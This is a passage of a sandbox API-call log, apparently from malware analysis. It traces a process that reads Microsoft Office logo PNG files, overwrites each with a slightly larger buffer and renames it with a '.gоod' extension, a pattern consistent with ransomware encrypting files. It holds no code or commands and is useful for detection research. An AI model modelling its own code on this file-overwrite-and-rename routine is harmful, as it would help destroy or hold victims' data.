files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-80.png.gоod")) returned 1 [0234.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x5a [0234.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0234.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x392a7c8 | out: lpFileInformation=0x392a7c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c8)) returned 1 [0234.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0234.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x5a [0234.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0234.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0234.806] GetFileType (hFile=0x630) returned 0x1 [0234.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0234.806] GetFileType (hFile=0x630) returned 0x1 [0234.806] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9c8 [0234.806] ReadFile (in: hFile=0x630, lpBuffer=0x392b4c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x392b4c8*, lpNumberOfBytesRead=0x1fcee238*=0x9c8, lpOverlapped=0x0) returned 1 [0234.808] CloseHandle (hObject=0x630) returned 1 [0234.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x5a [0234.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0234.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0234.821] GetFileType (hFile=0x630) returned 0x1 [0234.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0234.821] GetFileType (hFile=0x630) returned 0x1 [0234.821] WriteFile (in: hFile=0x630, lpBuffer=0x39a7e70*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x39a7e70*, lpNumberOfBytesWritten=0x1fcee148*=0x9d0, lpOverlapped=0x0) returned 1 [0234.822] CloseHandle (hObject=0x630) returned 1 [0234.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x5a [0234.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png.gоod", lpFilePart=0x0) returned 0x5f [0234.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0234.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x882ce2a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9d0)) returned 1 [0234.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0234.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-100.png.gоod")) returned 1 [0234.823] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x5a [0234.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0234.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x39a9178 | out: lpFileInformation=0x39a9178*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb43)) returned 1 [0234.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0234.823] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x5a [0234.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0234.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0234.823] GetFileType (hFile=0x630) returned 0x1 [0234.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0234.823] GetFileType (hFile=0x630) returned 0x1 [0234.823] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xb43 [0234.823] ReadFile (in: hFile=0x630, lpBuffer=0x39a9ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39a9ff8*, lpNumberOfBytesRead=0x1fcee238*=0xb43, lpOverlapped=0x0) returned 1 [0234.997] CloseHandle (hObject=0x630) returned 1 [0235.008] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x5a [0235.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0235.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0235.010] GetFileType (hFile=0x630) returned 0x1 [0235.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0235.010] GetFileType (hFile=0x630) returned 0x1 [0235.010] WriteFile (in: hFile=0x630, lpBuffer=0x39c0210*, nNumberOfBytesToWrite=0xb50, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x39c0210*, lpNumberOfBytesWritten=0x1fcee148*=0xb50, lpOverlapped=0x0) returned 1 [0235.011] CloseHandle (hObject=0x630) returned 1 [0235.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x5a [0235.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png.gоod", lpFilePart=0x0) returned 0x5f [0235.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0235.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88497f05, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb50)) returned 1 [0235.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0235.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-140.png.gоod")) returned 1 [0235.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x5a [0235.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0235.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x39c1518 | out: lpFileInformation=0x39c1518*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0235.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0235.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x5a [0235.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0235.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0235.012] GetFileType (hFile=0x630) returned 0x1 [0235.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0235.012] GetFileType (hFile=0x630) returned 0x1 [0235.012] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd80 [0235.012] ReadFile (in: hFile=0x630, lpBuffer=0x39c25d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39c25d0*, lpNumberOfBytesRead=0x1fcee238*=0xd80, lpOverlapped=0x0) returned 1 [0235.022] CloseHandle (hObject=0x630) returned 1 [0235.435] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x5a [0235.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0235.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0235.437] GetFileType (hFile=0x860) returned 0x1 [0235.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0235.437] GetFileType (hFile=0x860) returned 0x1 [0235.437] WriteFile (in: hFile=0x860, lpBuffer=0x3844a10*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3844a10*, lpNumberOfBytesWritten=0x1fcee148*=0xd90, lpOverlapped=0x0) returned 1 [0235.438] CloseHandle (hObject=0x860) returned 1 [0235.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x5a [0235.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png.gоod", lpFilePart=0x0) returned 0x5f [0235.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0235.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x888c419c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd90)) returned 1 [0235.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0235.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-180.png.gоod")) returned 1 [0235.440] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x59 [0235.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0235.440] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3845d18 | out: lpFileInformation=0x3845d18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79f)) returned 1 [0235.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0235.440] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x59 [0235.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0235.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0235.441] GetFileType (hFile=0x860) returned 0x1 [0235.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0235.441] GetFileType (hFile=0x860) returned 0x1 [0235.441] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x79f [0235.441] ReadFile (in: hFile=0x860, lpBuffer=0x38467f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38467f0*, lpNumberOfBytesRead=0x1fcee238*=0x79f, lpOverlapped=0x0) returned 1 [0235.442] CloseHandle (hObject=0x860) returned 1 [0235.469] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x59 [0235.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0235.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0235.471] GetFileType (hFile=0x860) returned 0x1 [0235.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0235.471] GetFileType (hFile=0x860) returned 0x1 [0235.471] WriteFile (in: hFile=0x860, lpBuffer=0x38c1400*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x38c1400*, lpNumberOfBytesWritten=0x1fcee148*=0x7a0, lpOverlapped=0x0) returned 1 [0235.472] CloseHandle (hObject=0x860) returned 1 [0235.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x59 [0235.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png.gоod", lpFilePart=0x0) returned 0x5e [0235.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0235.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x889105dc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7a0)) returned 1 [0235.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0235.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.scale-80.png.gоod")) returned 1 [0235.473] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x61 [0235.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0235.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x38c2708 | out: lpFileInformation=0x38c2708*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x878)) returned 1 [0235.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0235.473] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x61 [0235.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0235.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0235.474] GetFileType (hFile=0x860) returned 0x1 [0235.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0235.474] GetFileType (hFile=0x860) returned 0x1 [0235.474] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fcee308 | out: 